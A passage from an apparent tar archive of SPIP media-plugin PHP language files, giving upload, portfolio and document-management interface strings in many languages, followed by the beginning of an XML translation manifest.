'tous_les_medias' => 'Tutti i media',
'tout_dossier_upload' => 'Tutta la cartella @upload@',
'tout_voir' => 'Mostra tutto',
// U
'un_audio' => '1 suono',
'un_document' => '1 documento',
'un_file' => '1 documento',
'un_image' => '1 immagine',
'un_video' => '1 video',
'une_utilisation' => '1 utilizzazione',
'upload_fichier_zip' => 'File ZIP',
'upload_fichier_zip_texte' => 'Il file proposto è un file ZIP.',
'upload_fichier_zip_texte2' => 'Questo file può essere:',
'upload_info_mode_document' => 'Invia al portfolio',
'upload_info_mode_image' => 'Rimuovi dal portfolio',
'upload_limit' => 'Questo file è troppo grande per il server; la dimensione massima consentita per gli <i>upload</i> è di @max@.',
'upload_zip_conserver' => 'Conserva il file archivio dopo l’estrazione del contenuto',
'upload_zip_decompacter' => 'decompresso e ogni elemento installato nel sito. I file che saranno installati nel sito sono:',
'upload_zip_mode_document' => 'Inserisci tutte le immagini nel portfolio',
'upload_zip_telquel' => 'installato così com’è in quanto archivio compresso Zip;',
'upload_zip_titrer' => 'Dare i titoli in base al nome dei file',
// V
'verifier_documents_brises' => 'Controlla i file mancanti',
'verifier_documents_inutilises' => 'Controlla i link ai documenti',
'vignette_supprimee' => 'La miniatura è stata cancellata'
);
?>
medias_sv.php 0000666 00000005554 15252255273 0007254 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=sv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'Lägg till ett dokument',
'bouton_ajouter_image' => 'Lägg till en bild',
'bouton_ajouter_image_document' => 'Lägg till en bild eller ett dokument',
'bouton_enlever_supprimer_document' => 'Odstrániť',
'bouton_upload' => 'Nahrať', # MODIF
// D
'des_documents' => '@nb@ dokumentov',
'des_files' => '@nb@ súborov',
'des_utilisations' => '@nb@ použití',
'descriptif' => 'Popis',
'double_clic_inserer_doc' => 'Dubbelklicka för att sätta in den här genvägen i texten',
// E
'entree_dimensions' => 'Storlek:',
'entree_titre_document' => 'Titel på dokumentet:',
'entree_titre_image' => 'Titel på bilden:',
// I
'image_tourner_180' => 'Rotera 180°',
'image_tourner_droite' => 'Rotera 90° åt höger',
'image_tourner_gauche' => 'Rotera 90° åt vänster',
'info_document' => 'Dokument',
'info_document_indisponible' => 'Dokumentet är inte tillgängligt',
'info_documents' => 'Dokument',
'info_inclusion_directe' => 'Direkt inkludering:',
'info_inclusion_vignette' => 'Inkludera miniatyr:',
'info_installer_tous_documents' => 'Insstallera alla dokument',
'info_logo_max_taille' => 'Logotypen måste vara mindre än @maxi@ (din fil är @actuel@).',
'info_portfolio' => 'Portfölj',
'info_referencer_doc_distant' => 'Länka till ett dokument på internet:',
'info_telecharger' => 'Ladda upp från din dator:',
'item_autoriser_selectionner_date_en_ligne' => 'Tillåt förändringar av publiseringsdatum',
'item_non_autoriser_selectionner_date_en_ligne' => 'Publiceringsdatum är det datum då dokumentet publicerades.',
// L
'label_apercu' => 'Ukážka',
'label_caracteristiques' => 'Funkcie',
// T
'texte_documents_joints' => 'Vous pouvez autoriser l’ajout de documents (fichiers bureautiques, images,
multimédia, etc.) aux articles et/ou aux rubriques. Ces fichiers
peuvent ensuite être référencés dans
l’article, ou affichés séparément.', # MODIF
'titre_documents_joints' => 'Bifogade dokument',
'tout_dossier_upload' => 'Hela @upload@-katalogen',
// U
'upload_fichier_zip' => 'ZIP fil',
'upload_fichier_zip_texte' => 'Filen du försöker installera är en ZIP-fil.',
'upload_fichier_zip_texte2' => 'Den här filen kan:',
'upload_limit' => 'Den här filen är för stor för servern; Den maimala storleken som kan <i>laddas upp</i> är @max@.',
'upload_zip_decompacter' => 'uppackad och alla filerna kommer ahh bli installerade på sajten. De filer som kommer att installeras är:',
'upload_zip_telquel' => 'installerad som den är, som en ZIP-fil;',
'upload_zip_titrer' => 'Lägg till titlar efter vad filerna kallas'
);
?>
medias_is.php 0000666 00000001345 15252255273 0007231 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=is
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'BÆTA SKJALI VIÐ', # MODIF
'bouton_ajouter_image' => 'BÆTA MYND VIÐ', # MODIF
// E
'entree_titre_document' => 'Heiti skjalsins :',
'entree_titre_image' => 'Heiti myndarinnar :',
// I
'image_tourner_180' => 'Snúa um 180°',
'image_tourner_droite' => 'Snúa um 90° til hægri',
'image_tourner_gauche' => 'Snúa um 90° til vinstri',
'info_document' => 'Skjal',
'info_documents' => 'Skjöl'
);
?>
medias_sq.php 0000666 00000004217 15252255273 0007242 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=sq
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'SHTO NJE DOKUMENT', # MODIF
'bouton_ajouter_image' => 'SHTO NJE FIGURE', # MODIF
// E
'entree_dimensions' => 'Dimensioni:',
'entree_titre_document' => 'Titulli i dokumentit:',
'entree_titre_image' => 'Titulli i figurës:',
// I
'image_tourner_180' => 'Rrotullo me 180°',
'image_tourner_droite' => 'Rrotullo me 90° djathtas',
'image_tourner_gauche' => 'Rrotullo me 90° majtas',
'info_document' => 'Dokument',
'info_documents' => 'Dokumenta',
'info_inclusion_directe' => 'Vendosje direkte:',
'info_inclusion_vignette' => 'Vendosje e figurës:',
'info_installer_tous_documents' => 'Instaloji te gjitha dokumentat',
'info_logo_max_taille' => 'Përmasat maksimale për një logo janë @maxi@ (ky file është @actuel@).',
'info_portfolio' => 'Portfolio ',
'info_telecharger' => 'Upload nga kompiuteri juaj:',
'item_autoriser_selectionner_date_en_ligne' => 'Pouvoir sélectionner la date de mise en ligne de chaque document', # MODIF
'item_non_autoriser_selectionner_date_en_ligne' => 'Ne pas pouvoir changer manuellement la date des documents', # MODIF
// T
'texte_documents_joints' => 'Vous pouvez autoriser l’ajout de documents (fichiers bureautiques, images,
multimédia, etc.) aux articles et/ou aux rubriques. Ces fichiers
peuvent ensuite être référencés dans
l’article, ou affichés séparément.', # MODIF
// U
'upload_fichier_zip' => 'File ZIP',
'upload_fichier_zip_texte' => 'File i propozuar është një file ZIP.',
'upload_fichier_zip_texte2' => 'Ky file mund të jetë:',
'upload_limit' => 'Ky file është shumë i madh për serverin, dimensioni maksimal për <i>ngarkimet</i> është @max@.',
'upload_zip_decompacter' => ' i dekompresuar dhe çdo element i instaluar në faqe. File që do të instalohen në faqe janë:',
'upload_zip_telquel' => ' instalohet kështu siç është sepse është Zip;'
);
?>
medias_gl.php 0000666 00000005504 15252255273 0007221 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=gl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'Engadir un documento',
'bouton_ajouter_image' => 'Engadir unha imaxe',
'bouton_ajouter_image_document' => 'Engadir umha imaxe ou un documento',
// D
'double_clic_inserer_doc' => 'Faga dobre click para inserir este recurso no texto',
// E
'entree_dimensions' => 'Dimensións:',
'entree_titre_document' => 'Título do documento:',
'entree_titre_image' => 'Título da imaxe:',
// I
'image_tourner_180' => 'Rotación 180°',
'image_tourner_droite' => 'Rotación 90° á dereita',
'image_tourner_gauche' => 'Rotación 90° á esquerda',
'info_document' => 'Documento',
'info_document_indisponible' => 'Este documento non está dispoñible',
'info_documents' => 'Documentos',
'info_inclusion_directe' => 'Inclusión directa:',
'info_inclusion_vignette' => 'Inclusión da viñeta:',
'info_installer_tous_documents' => 'Instalar todos os documentos',
'info_logo_max_taille' => 'Os logos deben obrigatoriamente ter menos de @maxi@ (este ficheiro ten @actuel@).',
'info_portfolio' => 'cartafol',
'info_referencer_doc_distant' => 'Referenciar un documento na internet :',
'info_telecharger' => 'Cargar desde a súa computadora:',
'item_autoriser_selectionner_date_en_ligne' => 'Permite seleccionar a data de cada documento',
'item_non_autoriser_selectionner_date_en_ligne' => 'A data dos documentos resulta ser aquela que indica cano foi engadida no web',
// T
'texte_documents_joints' => 'Pode autorizar o acompañamento de documentos (textos, imaxes,
multimedia, etc.) aos artigos e/ou aos temas. Estes ficheiros
poden aparecer referidos no artigo ou mostrados por separado.<p>', # MODIF
'texte_documents_joints_2' => 'Este axuste non impide a inserción de imaxes directamente nos artigos.', # MODIF
'titre_documents_joints' => 'Documentos adxuntos',
'tout_dossier_upload' => 'Todo o cartafol @upload@',
// U
'upload_fichier_zip' => 'Arquivo ZIP',
'upload_fichier_zip_texte' => 'O ficheiro que pretende instalar é un arquivo Zip.',
'upload_fichier_zip_texte2' => 'Este ficheiro pode ser :',
'upload_limit' => 'Este ficheiro é demasiado grande para o servidor ; o tamaño máximo autorizado en <i>upload</i> é de @max@.',
'upload_zip_conserver' => 'Conservar o arquivo tras a extracción', # MODIF
'upload_zip_decompacter' => 'descomprímase e cada elemento que conteña que sexa instalado no web. Os ficheiros que serán instalados son :',
'upload_zip_telquel' => 'instalado tal cal, dado que é un arquivo comprimido Zip ;',
'upload_zip_titrer' => 'Titular consonte o patrón de nome dos ficheiros.'
);
?>
medias_roa.php 0000666 00000004001 15252255273 0007367 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=roa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'AJOUTER UN DOCUMENT', # MODIF
'bouton_ajouter_image' => 'AJOUTER UNE IMAGE', # MODIF
// E
'entree_dimensions' => 'Dimensions :',
'entree_titre_document' => 'Titre du document :',
'entree_titre_image' => 'Titre de l’image :',
// I
'image_tourner_180' => 'Rotation 180°',
'image_tourner_droite' => 'Rotation 90° à droite',
'image_tourner_gauche' => 'Rotation 90° à gauche',
'info_document' => 'Document',
'info_documents' => 'Documents',
'info_inclusion_directe' => 'Inclusion directe :',
'info_inclusion_vignette' => 'Inclusion de la vignette :',
'info_installer_tous_documents' => 'Installer tous les documents',
'info_logo_max_taille' => 'Les logos doivent obligatoirement faire moins de @maxi@ (ce fichier fait @actuel@).',
'info_portfolio' => 'Portfolio',
'info_telecharger' => 'Télécharger depuis votre ordinateur :',
// T
'texte_documents_joints' => 'Vous pouvez autoriser l’ajout de documents (fichiers bureautiques, images,
multimédia, etc.) aux articles et/ou aux rubriques. Ces fichiers
peuvent ensuite être référencés dans
l’article, ou affichés séparément.', # MODIF
// U
'upload_fichier_zip' => 'Fichier ZIP',
'upload_fichier_zip_texte' => 'Le fichier que vous proposez d’installer est un fichier Zip.',
'upload_fichier_zip_texte2' => 'Ce fichier peut être :',
'upload_limit' => 'Ce fichier est trop gros pour le serveur ; la taille maximum autorisée en <i>upload</i> est de @max@.',
'upload_zip_decompacter' => 'décompressé et chaque élément qu’il contient installé sur le site. Les fichiers qui seront alors installés sur le site sont :',
'upload_zip_telquel' => 'installé tel quel, en tant qu’archive compressée Zip ;'
);
?>
paquet-medias_es.php 0000666 00000000674 15252255273 0010526 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'medias_description' => 'Gestión de documentos multimedia de SPIP',
'medias_slogan' => 'Gestión de documentos multimedia en SPIP'
);
?>
medias_oc_prv.php 0000666 00000004546 15252255273 0010114 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=oc_prv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'APONDRE UN DOCUMENT', # MODIF
'bouton_ajouter_image' => 'APONDRE UN IMATGE', # MODIF
// D
'double_clic_inserer_doc' => 'Besclicatz per inserir aquela acorcha dins lo tèxt.',
// E
'entree_dimensions' => 'Dimensions:',
'entree_titre_document' => 'Títol dau document:',
'entree_titre_image' => 'Títol de l’imatge:',
// I
'image_tourner_180' => 'Rotacion 180°',
'image_tourner_droite' => 'Rotacion 90° cap a drecha',
'image_tourner_gauche' => 'Rotacion 90° cap a esquerra',
'info_document' => 'Document ',
'info_documents' => 'Documents',
'info_inclusion_directe' => 'Inclusion dirècta:',
'info_inclusion_vignette' => 'Inclusion de la vinheta:',
'info_installer_tous_documents' => 'Installar totei lei documents ',
'info_logo_max_taille' => 'Lei lògos an de far mens de @maxi@ (aquest fichier fa @actuel@).',
'info_portfolio' => 'Pòrtfòlio',
'info_referencer_doc_distant' => 'Referenciar un document dins l’Internet:',
'info_telecharger' => 'Telecargar a partir de vòstre ordenador:',
// T
'texte_documents_joints' => 'Podètz autorizar que s’apondan de documents (fichiers burotics, imatges,
multimèdia, etc.) ais articles e/o ai rubricas. Aquelei fichiers,
pòdon puei èsser referenciats dins
l’article, o aparéisser a despart.', # MODIF
'texte_documents_joints_2' => 'Aqueu reglatge empacha pas d’inserir d’imatges directament dins leis articles.', # MODIF
'titre_documents_joints' => 'Documents jonchs',
'tout_dossier_upload' => 'Tot lo dorsier @upload@',
// U
'upload_fichier_zip' => 'Fichier ZIP',
'upload_fichier_zip_texte' => 'Lo fichier que prepausatz d’installar es un fichier Zip.',
'upload_fichier_zip_texte2' => 'Aqueu fichier pòt èsser:',
'upload_limit' => 'Aqueu fichier es tròp gròs per lo servidor; la talha maxima autorizada en <i>upload</i> es de @max@.',
'upload_zip_decompacter' => 'descomprimit e cada element que conten installat sus lo sit. Alora lei fichiers que seràn installats sus lo sit son:',
'upload_zip_telquel' => 'installat tau coma es, coma archiu comprimit Zip;'
);
?>
medias_oc_gsc.php 0000666 00000004624 15252255273 0010056 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=oc_gsc
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'AJUSTAR UN DOCUMENT', # MODIF
'bouton_ajouter_image' => 'AJUSTAR UN IMATGE', # MODIF
// D
'double_clic_inserer_doc' => 'Besclicatz entà inserir aquera acorcida dens lo tèxt.',
// E
'entree_dimensions' => 'Dimensions:',
'entree_titre_document' => 'Títol deu document:',
'entree_titre_image' => 'Títol de l’imatge:',
// I
'image_tourner_180' => 'Rotacion 180°',
'image_tourner_droite' => 'Rotacion 90° cap a dreta',
'image_tourner_gauche' => 'Rotacion 90° cap a esquèrra',
'info_document' => 'Document ',
'info_documents' => 'Documents',
'info_inclusion_directe' => 'Inclusion dirècta:',
'info_inclusion_vignette' => 'Inclusion de la vinheta:',
'info_installer_tous_documents' => 'Installar tots los documents ',
'info_logo_max_taille' => 'Los lògos qu’an de har mensh de @maxi@ (aqueste fichièr que hè @actuel@).',
'info_portfolio' => 'Pòrtfòlio',
'info_referencer_doc_distant' => 'Referenciar un document dens l’Internet:',
'info_telecharger' => 'Telecargar a partir deu vòste ordenader:',
// T
'texte_documents_joints' => 'Que podetz autorizar que s’ajusten documents (fichièrs burotics, imatges,
multimèdia, etc.) aus articles e/o a las rubricas. Aqueths fichièrs
que pòden puish estar referenciats dens
l’article, o aparéisher a despart.', # MODIF
'texte_documents_joints_2' => 'Aqueth reglatge n’empacha pas d’inserir imatges dirèctament dens los articles.', # MODIF
'titre_documents_joints' => 'Documents junts',
'tout_dossier_upload' => 'Tot lo dorsièr @upload@',
// U
'upload_fichier_zip' => 'Fichièr ZIP',
'upload_fichier_zip_texte' => 'Lo fichièr que prepausatz d’installar qu’ei un fichièr Zip.',
'upload_fichier_zip_texte2' => 'Aqueth fichièr que pòt estar:',
'upload_limit' => 'Aqueth fichièr qu’ei tròp gròs peu servider; la talha maxima autorizada en <i>upload</i> qu’ei de @max@.',
'upload_zip_decompacter' => 'descomprimit e cada element que contien installat suu sit. Alavetz los fichièrs que seràn installats suu sit que son:',
'upload_zip_telquel' => 'installat tau com ei, com archiu comprimit Zip;'
);
?>
medias_hac.php 0000666 00000002712 15252255273 0007350 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=hac
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'سهرنجیو زیادکهرده',
'bouton_ajouter_image' => 'وینیڤ زیادکهره',
'bouton_ajouter_image_document' => 'وینیو یا پهروهندیو زیاڎ کهره',
// E
'entree_dimensions' => ': ابعاد',
'entree_titre_document' => ': عنوان سند',
'entree_titre_image' => ': عنوان تصوير',
// I
'image_tourner_180' => 'چرخش °١٨٠ ',
'image_tourner_droite' => 'چرخش ٩٠ درجه به راست',
'image_tourner_gauche' => 'چرخش ٩٠ درجه به چپ',
'info_document' => 'سند',
'info_document_indisponible' => 'این سند موجود نمیباشد',
'info_documents' => 'اسناد',
'info_inclusion_directe' => ': گنجاندن مستقيم',
'info_inclusion_vignette' => ': گنجاندن تصاوير كوچك شده',
'info_installer_tous_documents' => 'تمام اسناد را مستقر كنيد',
'info_logo_max_taille' => 'لوگوها بايد كمتر از @maxi@ باشند(اين فايل است)',
'info_portfolio' => 'كارنامه',
'info_telecharger' => ':با رايانه خودتان بارگذارى كنيد'
);
?>
medias_pt.php 0000666 00000021336 15252255273 0007243 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=pt
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_audio' => 'Sem som',
'aucun_document' => 'Sem documentos',
'aucun_file' => 'Sem ficheiro',
'aucun_image' => 'Sem imagem',
'aucun_video' => 'Sem vídeo',
'aucune_utilisation' => 'Este documento não é usado.',
'aucune_vignette' => 'Sem miniatura',
// B
'bouton_ajouter_document' => 'ADICIONAR UM DOCUMENTO',
'bouton_ajouter_image' => 'ADICIONAR UMA IMAGEM',
'bouton_ajouter_image_document' => 'Adicionar uma imagem ou um documento',
'bouton_attacher_document' => 'Anexar',
'bouton_copier_local' => 'Copiar no sítio',
'bouton_download_depuis' => 'de :',
'bouton_download_local' => 'o meu computador',
'bouton_download_par_ftp' => 'o servidor',
'bouton_download_par_mediatheque' => 'biblioteca multimédia',
'bouton_download_sur_le_web' => 'internet',
'bouton_enlever_document' => 'Destacar',
'bouton_enlever_supprimer_document' => 'Eliminar',
'bouton_enlever_supprimer_document_confirmation' => 'Tem a certeza de que deseja eliminar o documento?',
'bouton_modifier_document' => 'Modificar',
'bouton_parcourir' => 'Procurar...',
'bouton_refresh_document' => 'Actualizar o documento',
'bouton_remplacer_document' => 'Substituir este documento',
'bouton_remplacer_image' => 'Substituir esta imagem',
'bouton_remplacer_image_document' => 'Substituir por uma imagem ou um documento',
'bouton_supprimer' => 'Eliminar',
'bouton_supprimer_tous_orphelins' => 'Eliminar todas as não usadas',
'bouton_supprimer_tous_orphelins_confirmation' => 'Deseja mesmo eliminar documentos órfãos @nb@ ?',
'bouton_upload' => 'Carregar',
// D
'des_audios' => '@nb@ sons',
'des_documents' => '@nb@ documentos',
'des_files' => '@nb@ documentos',
'des_images' => '@nb@ imagens',
'des_utilisations' => '@nb@ utilizações',
'des_videos' => '@nb@ vídeos',
'descriptif' => 'Descrição',
'document_attache_succes' => 'O documento foi adicionado com sucesso.',
'document_copie_locale_succes' => 'O ficheiro foi copiado para o sítio com sucesso.',
'document_installe_succes' => 'O ficheiro foi carregado com sucesso',
'document_vu' => 'Insrido no texto',
'documents' => 'Biblioteca multimédia',
'documents_brises' => 'Danificados',
'documents_distants' => 'Remotos',
'documents_locaux' => 'Locais',
'documents_non_publies' => 'Não publicados',
'documents_orphelins' => 'Não usados',
'documents_publies' => 'Publicados',
'documents_tous' => 'Todos',
'double_clic_inserer_doc' => 'Faça duplo clique para inserir este atalho no texto',
// E
'entree_dimensions' => 'Dimensões :',
'entree_titre_document' => 'Título do documento :',
'entree_titre_image' => 'Título da imagem :',
'erreur_aucun_document' => 'Este documento não existe na biblioteca multimédia',
'erreur_aucun_fichier' => 'Nenhum ficheiro encontrado',
'erreur_chemin_distant' => 'O ficheiro remoto @nom@ não foi encontrado',
'erreur_chemin_ftp' => 'O ficheiro indicado não foi encontrado no servidor',
'erreur_copie_fichier' => 'Impossível copiar o ficheiro @nom@',
'erreur_dossier_tmp_manquant' => 'Falta uma pasta temporária para fazer download dos ficheiros',
'erreur_ecriture_fichier' => 'Erro na escrita do ficheiro no disco',
'erreur_format_fichier_image' => 'O formato de @nom@ não é adequado para uma imagem',
'erreur_indiquez_un_fichier' => 'Indique um ficheiro !',
'erreur_insertion_document_base' => 'Impossível guardar o documento @fichier@ na base de dados',
'erreur_suppression_vignette' => 'Erro ao eliminar a miniatura',
'erreur_upload_type_interdit' => 'O carregamento dos ficheiros do tipo @nom@ não é autorizado',
'erreur_upload_vignette' => 'Erro no carregamento da miniatura @nom@',
'erreurs' => '@nb@ erros',
'erreurs_voir' => 'Visualizar os @nb@ erros',
// F
'fichier_distant' => 'Ficheiro remoto',
'fichier_manquant' => 'Ficheiro em falta',
'fichier_modifie' => 'O ficheiro foi guardado. Clique em "Guardar".',
'format_date_incorrect' => 'A data ou a hora estão incorrectas',
// I
'icone_creer_document' => 'Adicionar um documento',
'id' => 'ID',
'image_tourner_180' => 'Rodar 180°',
'image_tourner_droite' => 'Rodar 90° à direita',
'image_tourner_gauche' => 'Rodar 90° à esquerda',
'info_doc_max_poids' => 'Os documentos devem obrigatoriamente ter menos de @maxi@ (este ficheiro tem @actuel@).',
'info_document' => 'Documento',
'info_document_indisponible' => 'Este documento não está disponível',
'info_documents' => 'Documentos',
'info_gauche_numero_document' => 'DOCUMENTO NÚMERO',
'info_hauteur' => 'Altura',
'info_heure' => 'Hora',
'info_illustrations' => 'Ilustrações',
'info_image_max_poids' => 'A imagens devem obrigatoriamente ter menos de @maxi@ (este ficheiro tem @actuel@).',
'info_inclusion_directe' => 'Inclusão directa :',
'info_inclusion_vignette' => 'Inclusão da miniatura :',
'info_installer_tous_documents' => 'Instalar todos os documentos',
'info_largeur' => 'Largura',
'info_logo_max_taille' => 'Os ícones devem obrigatoriamente ter menos de @maxi@ (este arquivo tem @actuel@).',
'info_modifier_document' => 'Modificar o documento',
'info_portfolio' => 'Portfólio',
'info_referencer_doc_distant' => 'Referenciar um documento na internet :',
'info_sans_vignette' => 'Sem miniatura',
'info_statut_document' => 'Este documento é:',
'info_telecharger' => 'Carregar do seu computador :',
'infos' => 'Informações técnicas',
'item_autoriser_selectionner_date_en_ligne' => 'Permite modificar a data de cada documento',
'item_non_autoriser_selectionner_date_en_ligne' => 'A data de um documento é o dia em que foi adicionado ao sítio',
// L
'label_activer_document_objets' => 'Activar o carregamento de documentos para o conteúdo :',
'label_apercu' => 'Pré-visualização',
'label_caracteristiques' => 'Características',
'label_credits' => 'Créditos',
'label_fichier' => 'Ficheiro',
'label_fichier_vignette' => 'Miniatura',
'label_paginer_par' => 'Paginado por :',
'label_parents' => 'Este documento está ligado a',
'label_refdoc_joindre' => 'Documento número',
'lien_tout_enlever' => 'Eliminar tudo',
'logo' => 'Logo',
// M
'media_audio' => 'Sons',
'media_file' => 'Outros',
'media_image' => 'Imagens',
'media_video' => 'Vídeos',
'miniature_automatique_active' => 'SPIP criará automaticamente uma miniatura da imagem',
// N
'nb_documents_attache_succes' => '@nb@ documentos foram adicionados',
'nb_documents_installe_succes' => '@nb@ ficheiros carregados com sucesso',
// O
'objet_document' => 'Documento',
'objet_documents' => 'Documentos',
// P
'par_date' => 'Data',
'par_hauteur' => 'Altura',
'par_id' => 'ID',
'par_largeur' => 'Largura',
'par_taille' => 'Peso',
'par_titre' => 'Título',
// T
'texte_documents_joints' => 'Pode autorizar a inclusão de documentos (ficheiros, imagens, multimédia etc.) nos artigos e/ou nas rubricas. Estes ficheiros podem, em seguida, ser referenciados no artigo, ou exibidos separadamente.',
'texte_documents_joints_2' => 'Esta combinação não impede a inserção de imagens directamente nos artigos nem a inclusão de documentos nos textos do conteúdo.',
'titre_documents_joints' => 'Documentos anexados',
'titre_page_documents_edit' => 'Modificar o documento : @titre@',
'tous_les_medias' => 'Todos os multimédia',
'tout_dossier_upload' => 'Todo o directório @upload@',
'tout_voir' => 'Visualizar tudo',
// U
'un_audio' => '1 som',
'un_document' => '1 documento',
'un_file' => '1 documento',
'un_image' => '1 imagem',
'un_video' => '1 vídeo',
'une_utilisation' => '1 utilização',
'upload_fichier_zip' => 'Ficheiro ZIP',
'upload_fichier_zip_texte' => 'O ficheiro que pretende instalar é um ficheiro Zip.',
'upload_fichier_zip_texte2' => 'Este ficheiro pode ser:',
'upload_info_mode_document' => 'Enviar para o portfólio',
'upload_info_mode_image' => 'Remover do portfólio',
'upload_limit' => 'Este ficheiro é grande demais para o servidor; o tamanho máximo autorizado para <i>upload</i> é de @max@.',
'upload_zip_conserver' => 'Conservar o ficheiro de arquivo após extrair o seu conteúdo',
'upload_zip_decompacter' => 'expandido e cada elemento que ele contém instalado no sítio. Os ficheiros que serão então instalados são:',
'upload_zip_mode_document' => 'Colocar todas as imagens no portfólio',
'upload_zip_telquel' => 'instalado; como ficheiro compactado Zip;',
'upload_zip_titrer' => 'Adicionar títulos de acordo com os nomes dos ficheiros',
// V
'verifier_documents_brises' => 'Verificar os ficheiros em falta',
'verifier_documents_inutilises' => 'Verificar as ligações dos documentos',
'vignette_supprimee' => 'A miniatura foi eliminada'
);
?>
medias_en_hx.php 0000666 00000002270 15252255273 0007715 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=en_hx
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => '4DD 4 D0CUM3N7', # MODIF
'bouton_ajouter_image' => '4DD 4N 1M4G3', # MODIF
// E
'entree_dimensions' => '51z3:',
'entree_titre_document' => 'D0cum3n7 71713:',
'entree_titre_image' => '1m4g3 71713:',
// I
'info_document' => 'D0cum3n7',
'info_inclusion_directe' => 'D1r3c7 1nc1u510n:',
'info_inclusion_vignette' => '1nc1ud3 v1gn3773:',
'info_installer_tous_documents' => '1n57411 411 7h3 d0cum3n75',
'info_telecharger' => 'Up104d fr0m y0ur c0mpu73r:',
// T
'texte_documents_joints' => 'Y0u c4n 4110w 7h3 4dd1710n 0f d0cum3n75 (0ff1c3 f1135, 1m4g35,
mu171m3d14, 37c.) 70 4r71c135 4nd/0r 53c710n5. 7h353 f1135
c0u1d 7h3n b3 r3f3r3nc3d 1n
7h3 4r71c13 0r d15p14y3d 53p4r4731y.<p>', # MODIF
'texte_documents_joints_2' => '7h15 53771ng d035 n07 570p 7h3 1n53r710n 0f 1m4g35 d1r3c71y 1n 7h3 4r71c135.', # MODIF
'titre_documents_joints' => '4774ch3d d0cum3n75'
);
?>
paquet-medias.xml 0000666 00000007174 15252255273 0010052 0 ustar 00 <traduction module="paquet-medias" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/medias/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=ar" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=de" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=en" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=es" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="dani" lien="http://trad.spip.net/auteur/dani" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=fa" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/paquet-medias?lang_cible=fr" total="2" traduits="2" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
